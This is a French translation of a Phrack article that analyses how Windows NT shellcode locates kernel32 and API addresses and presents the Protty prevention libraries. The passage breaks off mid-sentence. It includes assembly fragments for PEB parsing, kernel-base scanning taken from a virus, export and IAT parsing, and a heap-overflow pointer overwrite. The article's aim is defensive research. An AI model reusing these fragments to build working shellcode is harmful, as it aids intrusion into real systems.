==Phrack Inc.== Volume 0x0b, Édition 0x3f, Article #0x0f sur 0x14 |=---------------------------------------------------------------------=| |=---------------=[ NT shellcodes prevention demystified ]=------------=| |=---------------------------------------------------------------------=| |=---------------=[by Piotr Bania ]=------------=| |=---------------=[ Traduit par TboWan pour arsouyes.org ]=------------=| What was alive is now dead; all that was beautiful is now the ugliness of devastation And yet I do not altogether die what is indestructible in me remains! - Karol Wojty³a, Sophie Arie in Rome ...this short thing is dedicated to You - R.I.P ...a glorious era has already ended. --[ Contents I. Introduction II. Known protections II.A - Hooking API functions and stack backtracing. II.B - Security cookie authentication (stack protection) II.C - Additional mechanisms - module rebasing III. What is shellcode and what it "must do" IV. Getting addresses of kernel/needed functions - enemy study IV.A - getting kernel address (known mechanisms) IV.A.A - PEB (Process Environment Block) parsing IV.A.B - searching for kernel in memory IV.B - getting API addresses (known methods) IV.B.A - export section parsing IV.B.B - import section parsing V. New prevention techniques VI. Action - few samples of catched shellcodes VII. Bad points (what you should know) - TODO VIII. Last words IX. Code X. References --[ I. Introduction De nos jours, on dispose de beaucoup de méchanismes de défense contre les exploits pour windows mais chacun d'eux peut-être évité (d'après mes informations). En lisant cet article, gardez à l'esprit que le code et les informations fournis vont améliorer la sécurité de votre système mais ne veux pas dire que vous serez complètement à l'abrit (copié/collé du manuel fourni dans les boites de préservatifs). --[ II. Protections connues Comme je vien de le dire, on dispose aujourd'hui de beaucoup de moyens de défense commerciaux. Nous allons ici anayser un peut plus en détail les moyen en ring3 les plus communs. II.A Détourner les fonctions de l'API et le traçage de la pile ---------------------------------------------------------------- Beaucoup de protections contre les buffer overflow [NDT : dépassement de tampons] ne protègent pas contre l'overflow lui-même mais tentent seulement de détecter des shellcode qui serait exécutés. Ces protections contre BO [NDT : Buffer Overflow] détourne habituellement des fonctions de l'API qui sont souvent utilisée par les shellcodes. Le détournement peut être fait en ring3 (mode utilisateur) ou au niveau noyau (ring0, surtout les appels systèmes et des détourneents d'api native). Regardons un petit exemple de ce genre d'actions : Traçage de la pile ------------------ Regardons un peu le méchanisme de traçage de la pile NGSEC, mainteant, imaginez qu'un appel a été fait vers une fonction de l'API détournée par NGSEC Stack Defender. Donc, quand un appel vers une fonction détournée est fait, les principaux méchanismes de Stack Defender stockés dans roxydll.dll vont être chargés par la fonction détournée stockée dans la section .reloc. Les tests suivant vont alors être fait : En général, ce sont des paramètres des fonctions de proxydll (ce sont tous des entiers) : Soit : argument 1 = [esp+0ch], c'est le "premier" paramètre passé à la fonction. Il vaut toujours l'adresse de la pile, à 0xC octet de esp. argument 2 = Adresse à partir de laquelle la fonction a été appellée. argument 3 = quelques entiers spéciaux (pas besoin de s'en occuper). argument 4 = adresse dans la pile des paramètres passés à la fonction de l'API qui a été détournée. ÉTAPES PRINCIPALES : - I - Exécute VirtualQuery [1] sur [esp+0Ch] (adresse de la pile) - LOCATION1 - II - Exécute VirtualQuery [1] sur l'adresse call_ret - LOCATION2 - III - si la base d'allocation retournée dans l'un des membres de MEMORY_BASIC_INFORMATION [2] est égal à LOCATION2, alors, l'appel vient d'un endroit dans la pile. Stack Defender termine l'application et renvoie un rapport d'attaque à l'utilisateur. Sinon, l'étape suivante est exécutée. - IV - Appel IsBadWritePtr [3] à l'endroit donné par LOCATION2 (adresse de l'appelant). Si l'API répond que cette zone est en écriture, Stack Defender déduit que c'est un shellcode et termine l'application. Sinon, Stack Defender exécute l'API originale. détournée des fonctions d'API exportées --------------------------------------- Quand un module exporte des fonctions, cela signigie qu'il rend ces fonctions utilisables par d'autres modules. Quand ces fonctions sont exportées, les fichiers PE incluent des informations sur les fonctions exportées dans la sections nommée "export". Détourner les fonctions exportée se fait en changeant les adresses des fonctions exportées dans l'entrée AddressOfFunction de la section export. Le génial et premier exemple d'un truc du genre est le très infâme i-worm.Happy codé par le français Spanska. Celui-ci détournait les API send et connect de WSOCK32.DLL pour surveiller tous les messages sortant de la machine infectée. Cette technique a aussi été utilisée par l'un des premier outil win32 de protection contre les BOF - NGSEC's Stack Defender 1.10. Les méchanismes de NGSEC modifient le noyau original de windows (kernel32.dll) et détourne les fonctions suivantes : (les entrées pour chaque fonction exportée dans EAT (Export Adress Table) étaient changées, chaque fonction était détournée et son adresse était redirigée vers dans la section .relo où les procédure de filtrage pouvaient être exécutées) - WinExec - CreateProcessW - CreateProcessA - LoadLibraryExA - LoadLibraryExW - OpenFile - CreateThread - CreateRemoteThread - GetProcAddress - LoadModule - CreateFileA - CreateFileW - _lopen - _lcreat - CopyFileA - CopyFileW - CopyFileExA - CopyFileExW - MoveFileA - MoveFileExW - LockFile - GetModuleHandleA - VirtualProtect - OpenProcess - GetModuleHandleW - MoveFileWithProgressA - MoveFileWithProgressW - DeleteFileA Détournement d'API en dur ------------------------- Cette technique consiste en écrasant les 5 premiers octets de la fonction de l'API avec un call ou un jmp sans condition. Je dois dire que l'une des premières implémentations de cette technique de "détournement" (en fait, ce n'est pas la méthode de détournement d'API exactement) a été décrite par GriYo dans [12]. La fonctionnalité décrite par GriYo était appelée "EPO" - "Entry Point Obsuring" [NDT : obfuscation du point d'entrée]. Au lieu de changer l'ENTRYPOINT d'un fichier PE [9], GriYo plaçait un de ces "inject", un saut ou un appel vers un virus dans le code, mais très loin du point d'entrée. Cette technique EPO a rendu la détection de virus bien plus difficile... Bien sûr, lors de l'écrasement, on doit connaître quels octets émuler. On utilise alors des moteurs de désassemblage pour déterminer les longueur d'instructions et leur type (je pense que vous voyez quels genres de bêtises arrivent quand on essaye d'exécuter des call à partir d'un autre endroit). ensuite, ces instructions sont stockées localement et ensuite, tout simplement exécutées (émulée en fait). Après ça, l'exécution revient dans le code normal, comme le montre le schéma. Le détournement de fonction d'API en dur est aussi présent dans la librairie Detours développée par Microsoft [4]. Voici un exemple standrad de détournement de fonction : AVANT : ;----------SNIP-------------------------------------------- CreateProcesA: push ebp ; 1 bytes mov ebp,esp ; 2 bytes push 0 ; 2 bytes push dword ptr [ebp+2c] ... ;----------SNIP-------------------------------------------- APRÈS (SCHEMA): ;----------SNIP-------------------------------------------- CreateProcessA: jmp hooked_function where_ret: push dword ptr [ebp+2c] ... hooked_function: pushfd ; sauvegarde drapeaux pushad ; sauvegarde registres call do_checks ; quelques vérifications popad ; charge les registres popfd ; charge les drapeaux push ebp ; émulation mov ebp,esp ; des octats push 0 ; originaux push offset where_ret ; retour à la ret ; fonction originale ;----------SNIP-------------------------------------------- Ce genre de détournement a été implémenté dans Okena/CSA et les méchanismes commerciaux Entercept. Quand les fonctions détournées s'exécutent, les mechanismes de prévention de BOF font des tests similaires à ceux décrit plus haut. Cependant, ces protections contre les BOF peuvent être cassées facilement. Parce que je ne compte pas recopier d'autres articles de phrack, je vous suggère de jeter un oeuil à "Bypassing 3rd Party Windows Buffer Overflow Protection" [5] (phrack#62). C'est un bon article sur les méthode pour passer à travers les protections. II.B Authetification par cookie (protection de la pile) --------------------------------------------------------- Cette technique a été implémentée dans Windows 2003 Server, et est souvent appellée "build in Windows 2003 Server stack protection". Dans Microsoft Visual C++ .NET, Microsoft a ajouté une option "/GS" (activée par défaut) qui place des cookies de sécurité en générant le code. Les cookies (ou canari) sont placés sur la pile avant l'adresse de retour lors d'un appel de fonction. Avant que la procédure ne retourne, on vérifie le cookie de sécurité avec sa version "prototype" enregistrée dans la section .data. Si un débordement de tampon a lieu, le cookie est écrasé et ne correspond plus avec son "prototype". C'est ainsi le signe d'un débordement de tampon. Passer outre cette protexion a été très bien documenté par David Litchfield, je vous recommande d'aller jeter un oeuil à [6]. II.C Méchanismes additionnels - la translation de module ---------------------------------------------------------- Quand on parle de méchanismes de protections contre débordements de tampons, on ne doit pas oublier la méthode dite "translation de module". Quelle est l'idée de cette technique ? Quelques chapitres plus loins, vous aurez un exemple de code dans la section "chercher le noyau en mémoire", là bas, vous y trouverez les variables suivantes : ;----------SNIP--------------------------------------------- ; Quelques valeurs de la base du noyau utilisées par Win32.ls _kernells label dd 077e80000h - 1 ;NT 5 dd 0bff70000h - 1 ;w9x dd 077f00000h - 1 ;NT 4 dd -1 ;----------SNIP--------------------------------------------- Comme vous le savez surement, seules ces adresses seront fouillées, que ce passerait-il si le shellcode ne connais pas la base de l'image d'un module dont il a besoin (et toutes les procédures de recherchent échouent) ? La réponse est facile : le shellcode ne peut pas fonctionner et quite/crashe dans la pluspart des cas. Comment la randomisation est-elle faite ? D'habitude, tous les fichiers PE (.exe, .dll, ...) ont une entrée dans la PE record (offset 34h) qui contient l'adresse où le module doit être chargé. En changeant cette valeur, nous pouvons déplacer le module que nous voulons, bien sûr, cette valeur doit être correctement calculée sinon, le système peut mal fonctionner. Maintenant, après ce petit survol des protections communes, nous pouvons étudier les shellcodes eux-mêmes. --[ III. Qu'est-ce qu'un shellcode et que "doit-il faire" Pour ceux qui ne le savent pas : un shellcode est une partie de code qui fait le salle boulot (lancer un shell / délivrer un troyen / bla bla) et est le coeur d'un exploit. Que doit faire un shellcode sous windows ? Jetons un coup d'oeuil à l'exemple schématique suivant : 1) - récupérer EIP 2) - décoder une boucle si nécessaire 3) - récupérer les adresses de fonction/noyau nécessaires 4) - lancer un shell ou tout autre basse besogne Si vous lisez les hypothèses (partie II) et d'autres papiers, vous savez sûrement qu'il n'est pas possible de séparer l'étape 3 du shellcode. Tous les shellcodes windows doivent récupérer les données nécessaires et c'est une étape que nous allons tenter de détecter. Bien sûr, certains shellcodes peuvent utiliser des valeurs en dur pour le noyau ou l'API. Ça ne signifie pas que le shellcode ne fonctionnera pas, mais les choses deviendront plus difficiles si l'attaquant ne connais pas la machine victime (version de l'OS - des windows différents <=> différentes adresses du noyau) ou quand la machine victime fonctionne sous un certain niveau de protection comme la translation d'images. Généralement, coder en dur ces valeurs diminue les chances de succès du shellcode. --[ IV. Récupérer l'adresse de fonction/noyau - étude de l'ennemi Ce chapitre décrit brièvement les méthodes les plus communes utilisées dans les shellcodes. Pour ceux qui veulent aller plus profondément dans ce sujet, je leur conseille d'aller lires des papiers sités parmis les références. --[ IV.A - récupérer l'adresse du noyau (méchanismes connus) IV.A.A - PEB (Process Environment Block) parsing -------------------------------------------------- PEB (Process Environment Block) parsing - la technique suivante a été introduite pour la première fois par un gars appellé Ratter [7] de l'infâme groupe 29A. En parsant le PEB_LDR_DATA, nous pouvons obtenir des informations sur tous les modules actuellement chargé, comme le montre l'exemple suivant : ;----------SNIP-------------------------------------------- mov eax,dword ptr fs:[30h] ; EAX = base du PEB mov eax,dword ptr [eax+0ch] ; EAX+0Ch = PEB_LDR_DATA mov esi,dword ptr [eax+1ch] ; récup. la première entrée mov ebx,[esi+08h] ; EBX=ntdll imagebase module_loopx: lodsd mov ebx,[eax+08h] ; EBX=next dll imagebase test ebx,ebx jz @last_one_done int 3 mov esi,eax ; continue la recherche jmp module_loopx ;----------SNIP--------------------------------------------- IV.A.B - Chercher après le noyau en mémoire --------------------------------------------- Chercher après le noyau en mémoire - cet exemple scan/teste différent endroit du noyau (pour différentes versions de windows) et chercher après les marqueurs MZ et PE, la progression de la recherche fonctionne avec le frame SEH pour éviter des violations d'adresses. Voici l'exemple de la méthode (partie du virus Win32.ls) : ;----------SNIP-------------------------------------- cld lea esi,[ebp + offset _kernells - @delta] ; charge le tableau de noyau @nextKernell: lodsd ; charge la base dans EAX push esi ; sauve ESI ; (@ du tableau de noyaux) inc eax ; Est-ce le dernier ? (-1+1=0) jz @bad ; il semble -> pas de noyau push ebp ; sauve EBP (gestionnaire delta) call @kernellSEH ; vérifie la base chargée mov esp,[esp + 08h] ; restaure la pile @bad1: pop dword ptr fs:[0] ; restaure l'ancien frame SEH pop eax ; normalise la pile pop ebp ; charge le gestionnaire delta pop esi ; retourne vers le ; tableau de noyaux jmp @nextKernell ; vérifie une autre base ? @bad: pop eax ; pas de noyau trouvé, le virus jmp @returnHost ; retourne vers l'hote ; quelques base habituelles utilisées par Win32.ls _kernells label dd 077e80000h - 1 ;NT 5 dd 0bff70000h - 1 ;w9x dd 077f00000h - 1 ;NT 4 dd -1 @kernellSEH: push dword ptr fs:[0] ; installe le nouveau SHE mov dword ptr fs:[0],esp mov ebx,eax ; EBX=imagebase xchg eax,esi xor eax,eax lodsw ; récupère les deux premiers octets not eax ; est-ce MZ? cmp eax,not 'ZM' ; compare jnz @bad1 ; ça n'est pas, vérifie le prochain mov eax,[esi + 03ch] ; MZ est ok, scan pour un signe PE add eax,ebx ; normalise (RVA2VA) xchg eax,esi lodsd ; lit 4 octets not eax cmp eax,not 'EP' ; est-ce PE? jnz @bad1 ; non, prochaine base pop dword ptr fs:[0] ; restaure l'ancien SEH pop eax ebp esi ; nettoye la pile ; EBX contien la base du noyau ;----------SNIP-------------------------------------------- --[ IV.B - récupérer des adresse de l'API (méthodes connues) IV.B.A - parsing de la section export --------------------------------------- parsing de la section export - quand le module (souvent kernel32.dll) est localisé, le shellcode peut scanner la section export et trouver certaines fonctions de l'API nécessaire pour la suite. D'habitude, le shellcode cherche après GetProcAddress(), qui est ensuite utilisée pour récupérer l'adresse d'autres fonctions. Le code suivant parse la section export de kernel32.dll et récupère l'adresse de GetProcAddress : ;----------SNIP-------------------------------------------- ; EAX=imagebase de kernel32.dll xor ebp,ebp ; met à zéro le compteur mov ebx,[eax+3ch] ; récupère l'en-tête PZ add ebx,eax ; normalise mov edx,[ebx+078h] ; export section RVA add edx,eax ; normalise mov ecx,[edx+020h] ; addresses des noms add ecx,eax ; normalise mov esi,[edx+01ch] ; address des fonctions add esi,eax ; normalise loop_it: mov edi,[ecx] ; récupère un nom add edi,eax ; normalise cmp dword ptr [edi+4],'Acor' ; est-ce GetP-rocA-ddress ?? :) jne @l ; non -> jump vers @l ; oui, ça l'est add esi,ebp ; ajoute au compteur mov esi,[esi] ; récupère l'adresse add esi,eax ; normalise int 3 ; ESI=addresse de GetProcAddress @l: add ecx,4 ; vers le prochain nom add ebp,4 ; met le compteur à jours (dwords) jmp loop_it ; et retourne dans la boucle ;----------SNIP-------------------------------------------- IV.B.B - parsing de la section import --------------------------------------- parsing de la section import - 99 % des programmes importent GetProcAddress/LoadLibraryA, ceci veut dire que leur IAT (Import Address Table) content l'adresse et le nom des fonctions mentionnées. Si le shellcode "connait" la base de l'image de l'application, il peut facilement récupérer les adresses nécessaires à partir de l'IAT. Simplement comme le montre le code suivant : ;----------SNIP-------------------------------------------- ;l'exemple suivant récupère l'adresse de LoadLibraryA à ;partir de l'IAT IMAGEBASE equ 00400000h mov ebx,IMAGEBASE mov eax,ebx add eax,[eax+3ch] ; en-tête PE mov edi,[eax+80h] ; importe RVA add edi,ebx ; normalise xor ebp,ebp mov edx,[edi+10h] ; pointer vers les adresses add edx,ebx ; normalise mov esi,[edi] ; pointer vers ; les chaines ASCII add esi,ebx ; normalise @loop: mov eax,[esi] add eax,ebx add eax,2 cmp dword ptr [eax],'daoL' ; est-ce LoadLibraryA ? jne @l add edx,ebp ; normalise mov edx,[edx] ; edx=address de int 3 ; LoadLibraryA @l: add ebp,4 ; augmente le compteur add esi,4 ; prochain nom jmp @loop ; Boucle ;----------SNIP-------------------------------------------- Après cette petite introduction, on peut enfin rentrer dans le concret. --[ V. Nouvelles techniques de prévention Tout en réfléchissant à propos des débordements de tampons, j'ai remarqué que les méthodes du chapitre IV sont la plupart du temps utilisée dans les shellcodes. Et c'est ce dont je veux me protéger, je voulais développer une technique de prévention qui agis dans les premières étapes de l'exécution des shellcodes et voici les résultats de mon travail : Pourquoi deux librairies Protty / deux techniques de prévention ? Quand j'ai codé la première librairie Protty (P1), elle fonctionnait bien sauf pour certains produits Microsoft comme Internet Explorer, Explorer.exe (le gestionnaire de fenêtres), etc. dans ces cas, le méchanisme de prévention occupait tout le CPU. J'étais un peu nerveux et j'ai reconstruit le méchanisme et voilà pourquoi une deuxième librairie Protty (P2) est née. Je vais décrire ici les deux parce que tout ce qui apporte un peu de connaissance en vaut la peine :) En même temps, je ne dis pas que la deuxième est parfaite, chaque solution a ses propres défauts et qualités. Ce que j'ai fait - les fonctionnalités de protection : - Protection de la section EPORT - protection du tableau d'adresses de fonctions (dans tout exe/dll), - IAT RVA killer (dans tout exe/dll), - Protection de l'IAT - protection du tableau de noms de fonctions (dans tout exe/dll), - Protection du PEB (Process Environment Block), - désactivation SEH/gestion d'exceptions, - protection du pointeur RtlEnterCrticialSection. NOTE : Tous ces pointeurs nécessaires (section IMPORT/EXPORT) sont trouvé de la même façon que dans le chapitre IV. FONCTIONNALITÉ : PROTECTION DE LA SECTION EXPORT (protection du "tableau d'adresses de fonctions") ------------------------------------------------- Tous les shellcodes qui parsent la section EXPORT (surtout celle de kernel32.dll) veulent en fait les adresses de fonctions exportées, et c'est ce que j'ai tenté de bloquer, voici la technique : Algorithme/méthode du mechanisme utilisé dans Protty1 (P1) : ------------------------------------------------------------ 1. Allouer assez de mémoire pour contenir la table d'adresses de fonctions de la section export. La table d'adresses de fonctions est un tableau qui contient les adresses des fonctions de l'API exportées, comme ici pour KERNEL32.DLL : D:\>tdump kernel32.dll kernel32.txt & type kernel32.txt (...snip...) Name RVA Size ------------------ -------- -------- Exports 0006D040 00006B39 (...snip...) Exports from KERNEL32.dll 942 exported name(s), 942 export addresse(s). Ordinal base is 1. Ordinal RVA Name ------- -------- ---- 0000 000137e8 ActivateActCtx 0001 000093fe AddAtomA 0002 0000d496 AddAtomW 0003 000607c5 AddConsoleAliasA 0004 0006078e AddConsoleAliasW 0005 0004e0a1 AddLocalAlternateComputerNameA 0006 0004df8c AddLocalAlternateComputerNameW (...snip...) Où les valeurs RVA sont les entrées de la table d'adresses de fonctions, donc, le premier symbole exporté est ActivateActCtx, la première adresse de fonction sera sa RVA. La taille de la table dépend du nombre de fonctions exportées. Toutes ces structures des sections IMPORT / EXPORT sont très bien documentées dans l'article "An In-Depth Look into the Win32 Portable Executable File Format" de Matt Pietrek [9]. 2. Copier les adresses originales vers la zone allouée. 3. Rendre les adresses originales en écriture. 4. Écraser toutes les adresses de fonctions. 5. Rendre ces adresses écrasée en lecture seule. 6. Mettre à jours le pointeur vers la table d'adresses de fonction pour qu'il pointe vers notre zone allouée : - Rendre la page contenant le pointeur en écriture. - Écraser avec la nouvelle adresse de la table. - Rendre la page en lecture seule. 7. Marquer la mémoire allouée (les nouvelles adresses de fonction en tant que PAGE_NOACCESS. 7. Mark allocated memory (new function addresses) as PAGE_NOACCESS. Nous ne pouvont pas directement placer la protection PAGE_NOACCESS aux adresses de fonctions originales parce que d'autres données dans cette page doivent être quand même accessible (en fait, SAFE_MEMORY_MODE devrait couvrir tous les cas, même quand la protection de la page originale a changé vers PAGE_NOACESS - cependant, cette action augmente l'utilisation du CPU). La meilleure façon semble être d'allouer une nouvelle région pour tout ça. Que fait la protection PAGE_NOACCESS ? - PAGE_NOACCESS désactive tous les accès à toutes les pages spériciées. Un essais pour y lire, écrire ou exécuter fini dans une exception de violation d'accès, appelé un "general protection (GP) fault". Maintenant, toutes les références vers la table des adresses de fonctions va causer une violation d'accès, la description des méchanismes de vérifications des exceptions est écrite dans le prochain chapitre ("Description des méchanismes implémentés dans ..."). Comme le schéma suivant le montre (A. signifie "adresse") : --- SNIP --- DÉBUT DU SCHÉMA 1a UN MODULE PE ------------------ | section export | |------------------| | début | + imagebase | (...) | -----------> VIEUX TABLEAU D'A. DE FONCTIONS |------------------| | | NOMBRE DE CADRES | | |------------------|AVANT ^| APRÈS> | A. DE FONCTIONS |------------------- |------------------| + --//-- | | A. DE NOMS | | (NOUVELLE ZONE MÉMOIRE) |------------------| -> NOUVEAU TABLEAU D'A. DE FCTS | A. D'ORDINAUX | | |------------------| ----------------- | (...) | | function 1 addr | / PAGE | fin | | function 2 addr |- SANS ------------------ | ... | \ DROITS ----------------- ACCÈS TOUTES LES ADRESSES DE FONCTIONS DU VIEUX TABLEAU SONT ÉCRASÉES PAR DES NULL! --- SNIP --- FIN DU SCHÉMA 1a Algorithme/méthode du mechanisme utilisé dans Protty2 (P2) : ------------------------------------------------------------ 1. Allouer assez de mémoire pour contenir la table d'adresses de fonctions de la section export. 2. Copier les adresses originales vers la zone allouée. 3. Rendre les adresses originales en écriture. 4. Écraser toutes les adresses de fonctions. 5. Rendre ces adresses écrasée en lecture seule. 6. Rendre le pointeur vers la table d'adresses de fonction en écriture. 7. Allouer un petit tableau pour faire un leure (avec les droits PAGE_NOACCESS) 8. Écrire des entrées vers des régions protégées. 8. Mettre à jours le pointeur vers la table d'adresses de fonction pour qu'il pointe vers notre leurre. 9. Mettre a jour la liste des régions protégées (écrire des entrées de la table) 10.Rendre le pointeur vers la table en lecture seule. --- SNIP --- DÉBUT DU SCHÉMA 1b UN MODULE PE ------------------ | section export | |------------------| | début | + imagebase | (...) | -----------> VIEUX TABLEAU D'A. DE FONCTIONS |------------------| | | NOMBRE DE CADRES | | |------------------|AVANT ^| APRÈS> | A. DE FONCTIONS |------------------- | A. DE NOMS | | ------------/ PAGE |------------------| -> | LEURRE |- AVEC | A. D'ORDINAUX | ------------ \ NOACCESS |------------------| | (...) | quelque part en mémoire : | fin | (mémoire allouée contenant les ------------------ addresse): || ----------------- | function 1 addr | | function 2 addr | | ... | ----------------- TOUTES LES ADRESSES DE FONCTIONS DU VIEUX TABLEAU SONT ÉCRASÉES PAR DES NULL! --- SNIP --- FIN DU SCHÉMA 1b Qu'ai-je donc gagné en remplacant la première méthode (le vrai tableau) par la seconde (le leurre) ? La réponse est facile. La première était une solution assez lente (j'avais en permanance besoin de déprotéger la région et la reprotéger), dans la deuxième, je n'ai pas besoin de deprotéger ni reprotéger le tableau réel, j'ai juste besoin de mettre à jours les registres pour que leur valeurs pointent effectivement vers le bon tableau. FONCTIONNALITÉ : PROTECTION DE LA SECTION IMPORT (protection du "tableau -------------- de noms de fonctions + IAT RVA killer) Méchanisme IAT RVA killer pour Protty1 (P1) et Protty2 (P2) ----------------------------------------------------------- Toutes les actions sont similaires à celles prises à l'étape précédente, cependant, nous redirigeons ici les nom de fonctions de IMPORT et écrasont IAT RVA (avec des valeurs pseudos aléatoires retournées par GetTickCount - en échangeant des bits). Et voici le schéma qui montre le IAT RVA killing : --- SNIP --- DÉBUT DU SCHÉMA 2 UN MODULE PE ------------------ | EN-TÊTE NT | |------------------| | début | + imagebase | (...) | ------------> SECTION IMPORT DU MODULE |------------------| | | TAILLE DE EXPORT | | |------------------| AVANT ^| APRÈS > | RVA DE IMPORT |---------------------> AUCUN ENDROIT EXISTANT (*) |------------------| + --//-- | TAILLE DE IMPORT | |------------------| | (...) | | fin | ------------------ (*) - les RVA IMPORT sont écrasés avec des valeurs retournées par GetTickCount, avec une permutation, c'est généralement quelque chose d'assez idiot parce que la plupart d'entre vous peuvent imaginer que l'effet sur la stabilité de l'application. En fait, vous avez tord, écraser le RVA de IMPORT _après_ un chargement réussi de n'importe quel module ne génère aucune raison de causer de l'instabilité (au moins, ça a fonctionné dans mon cas, souvenez-vous que c'est windows et que vous ne maitriser pas tout ...) --- SNIP --- FIN DU SCHÉMA 2 Et voici celui décrivant la protection du "tableau de nom de fonction" pour Protty1 (P1) : --- SNIP --- DÉBUT DU SCHÉMA 3a UN MODULE PE ------------------ | section import | + blabla |------------------| -----------> TABLEAU DE NOMS DE FONCTIONS | début | | | (...) | | |------------------|AVANT ^| APRÈS> | A. DE NOMS |------------------- |------------------| + --//-- | | (...) | | (NOUVELLE ZONE MÉMOIRE) | fin | -> NOUVEAU TABLEAU DE NOMS ------------------ | ---------------- | "function1", 0 | / PAGE | "function2", 0 |- SANS | ... | \ DROITS ---------------- ACCÈS TOUS LES NOMS DE FONCTIONS DU VIEUX TABLEAU SONT ÉCRASÉES PAR DES NULL! NOTE : J'ai choisi le tableau d'adresses des noms parce que c'est une zone mémoire bien moins souvent accédée par rapport au tableau d'adresses de fonctions - donc, moins de consommation CPU (mais un peut moins sûr - vous pouvez le faire vous-même) --- SNIP --- FIN DU SCHÉMA 3a Et voici celui décrivant la protection du "tableau de nom de fonction" pour Protty2 (P2) : --- SNIP --- START OF SCHEMA. 3b UN MODULE PE ------------------ | section import | +blabla |------------------| ----------> TABLEAU DE NOMS DE FCTS | début | | | (...) | | |------------------| AVANT ^ | APRÈS> ------------- / PAGE SANS | A. DE NOMS |----------------------> | LEURRE |- DROITS |------------------| +blabla ------------- \ D'ACCÈS | (...) | | end | ------------------ Quelque part en mémoire : (mémoire alloués avec les noms de fonctions originaux) : || ----------------- | "Function1",0 | | "Function2",0 | | "Function3",0 | ----------------- TOUS LES NOMS DE FONCTIONS DU VIEUX TABLEAU SONT ÉCRASÉES PAR DES NULL! --- SNIP --- FIN DU SCHÉMA 3b FONCTIONNALITÉ : protection de PEB (Process Environment Block) -------------- (PEB_LDR_DATA) Algorithme/méthode du mechanisme utilisé dans Protty1 (P1) : ------------------------------------------------------------ 1. Récupère la structure PEB_LDR_DATA [7] 2. Met à jours la liste de régions 3. Marquer toute les structures PEB_LDR_DATA [7] comme PAGE_NO_ACCESS --- SNIP --- DÉBUT DU SCHÉMA 4a ------------------ | PEB_LDR_DATA |\ | .... |---- MAINTENANT MARQUÉÉS COMME PAGE_NOACCESS. | .... |/ ------------------ --- SNIP --- FIN DU SCHÉMA 4a Algorithme/méthode du mechanisme utilisé dans Protty2 (P2) : ------------------------------------------------------------ 1. Récupère l'adresse de la structure InInitializationOrderModuleList [7] 2. Écrire les entrée dans la table (écrire une fausse adresse générée) 3. Écrire les entrées de la table (écrire les adresses originales de InInitializationOrderModuleList) 4. Change le pointeur vers InInitializationOrderModuleList pour qu'il pointe vers les fausses adresses. Voici le schéma (ML signifie ModuleList) : --- SNIP --- DÉBUT DU SCHÉMA 4b [PEB_LDR_DATA]: ------------------ | Longueur | |------------------| | Initialized | |------------------| -------------------------- | SsHandle | |LIST_ENTRY InInit.OrderML | |------------------| .--------> | | | InLoadOrderML | | -------------------------- |------------------| | | InMemoryOrderML | | |------------------| avant ^ | après> | InInit.OrderML |--------------------> VALEUR ALÉATOIRES FAIBLES |------------------| (endroit non valide) ------------------ NOTE: pourquoi VALEURS FAIBLES ? généralement, je choisi des valeurs faibles parce qu'il n'y a pas de valeur faible qui pointent vers des endroits valide et ça va sûrement générer une exception, cependant, ces valeurs peuvent être changées et on peut utiliser une zone de LEURRE comme dans les cas précédants (mais ici, la zone devra être plus grande). Les valeurs faibles peuvent être utilisées par les chellcode pour découvrir la présence d'une protection - mais je vous laisse jouer avec ça ... --- SNIP --- FIN DU SCHÉMA 4b FONCTIONNALITÉ : - désactivation SEH/gestion d'exceptions. -------------- Description pour Protty1 (P1) et Protty 2 (P2) ---------------------------------------------- Chaque fois qu'une violation d'accès à lieu dans un programme protégé, les méchanismes de prévention testent si le cadre de SEH actif pointe vers une zone en écriture, si c'est le cas, Protty stop l'exécution. Si UEF_HEURISTISC vaut VRAI (1) Protty va vérifier que le filtre des exceptions non gérées [NDT : Unhandled Exception Filter - UEF] commence par le prologue (push ebp/mov ebp,esp) ou par un (push esi/mov esi,[esp+8]) sinon, Protty va killer le programme. Après ces conditions, Protty vérifie que le filtre d'exceptions non gérées est en écriture et si c'est le cas, il termine l'application (ce qui correspond au mode non heuristique par défaut). Pourquoi l'UEF ? Parce que c'est sûrement l'une des méthode les plus utilisées dans l'exploitation de débordements dans le tas sous windows. Le but de cette méthode est d'installer notre propre filtre, ensuite, quand une exception aura lieu, le code de l'attaquant pourra être exécuté. D'habitude, l'attaquant essaye de faire pointer l'UEF vers call dword ptr [edi+78h], parce que 78h octets après EDI, il y a un pointeur vers la fin du buffer. Pour plus d'informations sur cette technique d'exploitations, allez voir le point [8] de la partie références. NOTE : Peut-être pouvons nous aussi mettre un mode d'HEURISTIQUE qui cherche après les occurences de jmp dword ptr [edi+78h] / call dword ptr [edi+78h], mais le premier des deux couvre tous les cas. FONCTIONNALITÉ : Protection du pointeur RtlEnterCrticialSection -------------- Description pour Protty1 (P1) et Protty 2 (P2) ---------------------------------------------- Comme dans les paragraphes précédents, la librairie vérifie si le pointeur vers RtlEnterCriticalSection a changé, si c'est le cas, le librairie de prévention remet le pointeur imédiatement à sa valeur originale et stop le programme. Le pointeur RtlEnterCritical est souvent utilisé lors d'exploitations de débordements dans le tas sous windows. Voici un exemple d'attaque : (exemple de scénraio de débordement dans le tas) ;----------SNIP-------------------------------------------- ; EAX, ECX sont contrôlés par l'attaquant ; Soit : ; ECX=07FFDF020h (pointeur RtlEnterCrticialSection) ; EAX=Là où l'attaquant veux sauter mov [ecx],eax ; Écrase le pointeur mov [eax+0x4],ecx ; cause probablement une ; violation d'accès ; si c'est le cas, l'exécution ; continue à "EAX" ;----------SNIP-------------------------------------------- Vous pouvez remarquer que même si la violation d'accès n'a pas lieu, ça ne signifie pas pour autant que le code de l'attaquant ne s'exécute pas. Beaucoup de fonctions appellent (pas toujours directement) RtlEnterCriticalSection (ladresse où pointe 07FFDF020h), donc, le code de l'attaquant pourra être exécuté par exemple en appellant l'API ExitProcess. Pour plus de détails sur cette technique d'exploitation, allez voir le [10] dans les références. FONCTIONNALITÉ : code relogeable, fonctionnant dans une mémoire allouée -------------- dynamiquement. La librairie Protty est un code indépendant de sa position (relogeable) puisqu'il utilise ce qu'on appelle du "delta handling". Avant de démarrer ses méchanismes, Protty alloue de la mémoire à un endroit aléatoire et copie son corps là bas, et s'exécute ensuite. Qu'est ce que le delta handling? Jetons un coup d'oeuil au code suivant : ;----------SNIP-------------------------------------------- call delta ; met l'offset delta sur ; la pile delta: pop ebp ; ebp=l'offset delta sub ebp offset delta ; soustrait la valeur de ; liaison de "delta" ;----------SNIP-------------------------------------------- Comme on le voit, le delta handle est un valeur numérique qui aide pour adresser les variables/etc surtout quand notre code ne tourne pas dans un endroit natif. Le Delta handling est une technique très commune utilisée par les virus d'ordinateurs. Voici un pseudo code qui montre comment utiliser le deltahandling pour 